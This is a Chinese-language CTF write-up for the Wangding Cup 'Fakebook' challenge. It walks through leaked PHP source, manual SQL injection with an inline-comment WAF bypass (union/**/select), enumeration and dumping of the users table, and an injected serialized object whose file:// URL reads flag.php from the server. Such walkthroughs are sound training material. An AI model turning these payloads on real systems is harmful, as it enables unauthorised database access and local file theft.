[網鼎杯]-Fakebook


網鼎杯Fakebook

以我的實力做出網鼎杯這道題實在不現實,不過凡事都有第一次。當時做第一道CTF題也是雲里霧里,多鍛煉就好了。

0x01

Avatar
如圖,題目是個blog板塊,仔細觀察以后暫時沒有發現什么線索
有大佬是用nikto掃描后台找到了爬蟲協議,但是自己拿御劍就掃不出來。
查看robots.txt,發現有文件是禁止訪問的,是個網頁源碼的備份
Avatar
訪問以后就把文件下載下來了,查看源碼

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

審計一下,有__construct就應該和序列化有關,中間的get參數沒看懂,之后的參數則是會返回發布blog的內容,以及判斷blog的地址是否合法
那么回到原來的主頁,點擊join,發現可以添加用戶名,密碼,年齡,博客地址
Avatar
join以后頁面上就有了信息,點擊以后進入展示頁面
Avatar
此時的網頁url很可疑,猜測存在sql注入

http://fb06aa1d-c058-435e-9f0a-194982cec101.node3.buuoj.cn/view.php?no=1

把url放sqlmap里跑一下,能掃出來是mysql,但是跑不出名字,應該有WAF過濾
Avatar

0x02

嘗試手動:

view.php?no=0 order by 4--+
//當order by 5時報錯
view.php?no=0 union select 1,2,3,4--+
//提示no hack

猜測過濾了union select,用如下語句繞過:

view.php?no=0 union/**/select 1,2,3,4--+

內聯注釋/**/的語句是MYSQL才能識別,可以繞過WAF。這里多說一句,之前sqlmap我也是加載了這種繞過方式的tamper,但是最后卻沒有結果。需要用burpsuite抓包保存,再用sqlmap來POST注入。
Avatar
看到頁面出現了2,之后就拿2來回顯

view.php?no=0 union/**/select 1,database(),3,4--+

Avatar
數據庫名fakebook

view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

Avatar
表名users

view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

Avatar
列名no,username,passwd,data

view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+

獲得列內容:

1add319e4b15120f742fd3214f3ba53e0134c0efbff31125f539f7d0b8373d683036eb94ec1c9a75c82a8fe7ec8108803618663c35d00b303a26c7b81d334d364baO:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:22;s:4:"blog";s:37:"https://www.cnblogs.com/echoDetected/";} 

得到了自己剛剛注冊信息的序列化值,結合之前網頁源碼,判斷是要傳參(getBlogContents)以后網站反序列化,返回flag的值
這里順便注意一下網站的絕對路徑,之前報錯的時候也一直出現的
Avatar

0x03

線索到這里就斷了,我去看別人的WP,他們也不知道怎么憑空就猜出flag位置文件的,還有說是掃后台掃出來的
現在只能猜測flag在flag.php這個文件里,基於之前出現的絕對路徑,很大概率是在var/www/html/flag.php里面

於是構造序列化的內容,里面要讀取文件得使用file協議,基本的格式如下:
file:///文件路徑

view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

再查看網頁源碼就有base64加密的內容了,flag就在里面
Avatar
Avatar

Reference


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM